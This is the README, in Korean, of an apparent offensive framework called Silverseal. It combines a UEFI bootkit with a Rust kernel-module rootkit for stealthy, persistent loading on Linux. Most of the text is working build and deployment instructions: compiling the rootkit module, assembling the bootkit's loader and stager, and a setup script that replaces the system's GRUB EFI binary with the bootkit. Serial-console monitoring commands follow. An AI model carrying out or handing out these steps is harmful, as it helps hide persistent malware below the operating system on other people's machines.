
UEFI 부트킷을 갖춘 Linux 포스트 익스플로잇 프레임워크로, 최신 Linux 시스템에서 Rust 기반 커널 모듈 루트킷을 지속적이고 은밀하게 로드합니다.

Silverseal은 최신 Linux 시스템에서 UEFI 부트킷이 Rust 기반 커널 모듈 루트킷을 지속적이고 은밀하게 로드할 수 있는 능력을 보여주는 Linux 포스트 익스플로잇 프레임워크입니다. 이 프로젝트에는 다음이 포함됩니다:

Rust-for-Linux 외부 모듈 빌드에 필요한 패키지를 설치하고, 필요한 경우 rustup을 설치하며, 기본 툴체인을 stable로 전환하고, rust-src를 추가하고, bindgen-cli를 설치하며, 현재 실행 중인 커널이 CONFIG_RUST=y를 노출하지 않으면 경고합니다.
./scripts/install_dependencies.sh
[!IMPORTANT]
WSL을 사용하는 경우 WSL 2를 설정하고 Ubuntu를 설치했는지 확인하세요. 이 스크립트는 Rust가 활성화된 사용자 정의 WSL2 커널을 빌드하고, 모듈 VHDX를 준비하며, 선택적으로 생성된 커널을 가리키는 Windows .wslconfig 항목을 작성할 수 있습니다.
./scripts/wsl_setup.sh
이 스크립트는 Ubuntu 빌드 의존성을 자동으로 설치하고, 일치하는 Microsoft WSL2 커널 소스를 클론하고, CONFIG_RUST를 활성화하고, LLVM으로 커널을 빌드하며, 외부 모듈 빌드를 위해 /lib/modules/<release>/build를 연결합니다.
지원되는 옵션을 확인하려면:
./scripts/wsl_setup.sh --help
원하는 대상 커널에 대해 루트킷을 빌드하려면 빌드 머신(WSL 또는 네이티브 Linux 머신)에서 다음 스크립트를 실행해야 합니다:
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
이 흐름은 일치하는 linux-headers-<kernel> 및 linux-lib-rust-<kernel> 패키지를 설치하고, generic-kernel 흐름에서 사용되는 Ubuntu 패키지 Rust 1.82 툴체인을 설치하며, 해당 심볼릭 링크가 깨진 경우 /usr/src/linux-headers-<kernel>/rust를 복구하고, 이후에 사용할 정확한 make 명령을 출력합니다.
커널 빌드 시스템을 사용하여 루트킷을 빌드합니다. 실제 모듈 빌드에는 Cargo를 사용하지 마세요.
cd Silverseal/silverseal-rootkit
make
모듈 아티팩트는 빌드 후 silverseal-rootkit/target/에 배치됩니다.
WSL에서 Ubuntu generic 대상 커널용 루트킷을 빌드하려면:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
모듈 Makefile은 /usr/src/linux-headers-* 대상을 자동 감지하고 Kbuild의 Rust 플래그 변수를 통해 Rust 호환성 cfg를 전달하여, 최신 Ubuntu module! 메타데이터 스키마가 이전 author 키 대신 authors를 사용하도록 합니다.
빌드 후 대상 커널 버전이 올바르게 포함되었는지 확인하세요:
modinfo target/silverseal_rootkit.ko | grep vermagic
부트킷 빌드에는 PATH에 nasm이 필요합니다. 크레이트는 이미 x86_64-unknown-uefi를 대상으로 구성되어 있으며, 빌드 스크립트는 asm/x64/lkm_loader.asm과 asm/x64/lkm_stager.asm을 모두 EFI 이미지에 포함되는 플랫 바이너리 블롭으로 어셈블합니다.
cd Silverseal/silverseal-bootkit
cargo build --release
결과 EFI 바이너리는 다음 위치에 작성됩니다:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
배포 스크립트는 현재 저장소 루트에 silverseal-bootkit.efi라는 파일이 있을 것으로 예상합니다. 부트킷을 빌드한 후 EFI 아티팩트를 해당 위치에 복사한 다음 저장소 루트에서 설정 스크립트를 실행하세요.
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
이 스크립트는 EFI 파티션에서 직접 교체를 수행합니다:
/boot/efi/EFI/ubuntu/grubx64.efi를 /boot/efi/EFI/ubuntu/grubx64.efi.original로 이동합니다./silverseal-bootkit.efi를 /boot/efi/EFI/ubuntu/grubx64.efi 위치로 이동합니다Silverseal을 제거하려면 .original 백업에서 원본 GRUB 바이너리를 복원하세요:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
일반적인 포트: /dev/ttyS0 (COM1), /dev/ttyS1 (COM2)
minicom으로 시리얼 출력 모니터링:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)을 입력합니다115200 보드레이트로 \\.\pipe\com_1에 PuTTY를 지속적으로 재연결하는 헬퍼 스크립트를 사용할 수도 있습니다:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1